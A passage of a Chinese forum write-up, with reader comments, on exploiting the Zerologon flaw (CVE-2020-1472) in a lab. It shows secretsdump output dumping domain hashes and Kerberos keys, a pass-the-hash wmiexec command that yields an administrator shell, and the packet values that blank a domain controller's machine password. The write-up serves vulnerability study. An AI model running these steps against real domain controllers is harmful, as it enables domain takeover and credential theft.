WIN-NI3V5MRI9L6$:aes128-cts-hmac-sha1-96:e527f5d9b2c73fc70e86b197a30a1124
WIN-NI3V5MRI9L6$:des-cbc-md5:8ad05d169b01c431
[*] Cleaning up...

现在再来回顾一下漏洞模式,由于我们可以走到这里,说明客户端和服务端直接已经协商出了给定输入 00 就可以得到 AES 块加密结果第一个字节为 00 的 SessionKey,如果我们给出 516 个 00,那么 8 位 CFB 模式 AES-128 加密的结果也是 516 个 00。我们将 ClearNewPassword 结构填充为 516 个 00 ,这样系统在解密的时候得到的结果也是 516 个 00,这样密码的长度字段就被解析为 0,账户密码被置空。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜ Desktop python3 secretsdump.py 'WIN-NI3V5MRI9L6$@192.168.147.222' -no-pass
Impacket v0.9.22.dev1+20200924.183326.65cf657f - Copyright 2020 SecureAuth Corporation
 
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f15c5d3dc5d24c3587e19ed2bade3e29:::
yyyyyyyyt:1001:aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65:::
WIN-NI3V5MRI9L6$:1002:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:1358483816cf1723cb1c084bf1833dcd7d72cfb07cd383408ba238306ea6b580
krbtgt:aes128-cts-hmac-sha1-96:de0d4bda473745a0a696b13c69f4584f
krbtgt:des-cbc-md5:b60bfbb06ba42562
yyyyyyyyt:aes256-cts-hmac-sha1-96:dd34bd0d9a4adb2a7f0cb35f0033035b0cdae21197a41147a7b07ed0681a5a7c
yyyyyyyyt:aes128-cts-hmac-sha1-96:f46c8f546161b1082cd11d6db1c48aa4
yyyyyyyyt:des-cbc-md5:fdfbb9f170a279f4
WIN-NI3V5MRI9L6$:aes256-cts-hmac-sha1-96:a7a4115912de25275fbaf5a2649a1c740dd0657346b9bb5a3ad1997c1266668c
WIN-NI3V5MRI9L6$:aes128-cts-hmac-sha1-96:98e16ee761764038de64317273db40ef
WIN-NI3V5MRI9L6$:des-cbc-md5:ae45a864687f8c8f
[*] Cleaning up...

然后可以使用 wmiexec 拿到域控制器中的本地管理员权限(后面恢复密码的操作就不介绍了,教程很多):

1
2
3
4
5
6
7
8
➜  examples git:(master) ✗ python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:d6ff87a3a1f9e671efea338c4fc53e65 Administrator@192.168.147.222
Impacket v0.9.22.dev1+20200924.183326.65cf657f - Copyright 2020 SecureAuth Corporation
 
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
strawberry\administrator

测试

使用前面总结的 00 00 00 00 00 00 00 Y 模式进行漏洞利用,这里 Y 为 0x41,ClearNewPassword 结构完全置零,成功将密码置空。以下为抓包数据:

 

1、NetrServerReqChallenge 请求,Client Challenge 为 00 00 00 00 00 00 00 41

 

 

2、NetrServerAuthenticate3 请求,Client Credential 为 00 00 00 00 00 00 00 41,Negotiation options 设置为 0xffffffff,POC 中将其设置为 0x212fffff( 将 Secure NRPC 位(Netlogon signing and sealing)设置为 0),但测试时将其设置为 0x612fffff 也是可以成功的,甚至,我直接将其设置为 0xffffffff。但无论如何,AES supported 位必须被设置,可参考 MS-NRPC 文档 3.1.4.2 节查看 NegotiateFlags 位。

 

 

3、NetrServerPasswordSet2 请求,Authenticator 中 Credential 设置为 00 00 00 00 00 00 00 41,timestamp 设置为 0。ClearNewPassword 设置为全 0。

 

 

4、最终,服务端设置成功,返回其 Authenticator。

 

参考链接

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472
https://www.secura.com/pathtoimg.php?id=2055
https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-NRPC/%5BMS-NRPC%5D.pdf
https://mp.weixin.qq.com/s/wHoT-h468TXR48zzc79XgQ
https://nakedsecurity.sophos.com/2020/09/17/zerologon-hacking-windows-servers-with-a-bunch-of-zeros/
https://bbs.pediy.com/thread-262236.htm
https://github.com/mstxq17/cve-2020-1472


[注意] 招人!base上海,课程运营、市场多个坑位等你投递!

最后于 2020-12-10 18:23 被蝶澈——编辑 ,原因:
收藏
点赞2
打赏
分享
打赏 + 20.00
打赏次数 1 金额 + 20.00
 
赞赏  mb_msepdwyb   +20.00 2021/02/26 多谢大佬告诉我版本!我的汇报有救了555
最新回复 (5)
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_msepdwyb 活跃值 2021-2-25 00:11
2
0
能告诉以下windows版本吗?好几个版本逆向都看不见关键地方的代码
雪    币: 4020
活跃值: 活跃值 (2120)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
蝶澈—— 活跃值 4 2021-2-26 18:23
3
0
Windows Server 2012 R2
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_msepdwyb 活跃值 2021-2-27 19:02
4
0
SymCryptCfbEncrypt找不到,但是引用了bcrypt.dll的BCryptEncrypt函数,不清楚这个函数是不是
雪    币: 4020
活跃值: 活跃值 (2120)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
蝶澈—— 活跃值 4 2021-3-1 14:15
5
0
mb_msepdwyb SymCryptCfbEncrypt找不到,但是引用了bcrypt.dll的BCryptEncrypt函数,不清楚这个函数是不是
bcryptPrimitives!SymCryptCfbEncrypt,这里断不下来嘛
雪    币: 87
活跃值: 活跃值 (409)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
柒雪天尚 活跃值 2021-5-23 12:54
6
0
mb_msepdwyb SymCryptCfbEncrypt找不到,但是引用了bcrypt.dll的BCryptEncrypt函数,不清楚这个函数是不是
Sym系列的最后都和Bcrypt挂上勾了,毕竟是一家人出来的东西
游客
登录 | 注册 方可回帖
返回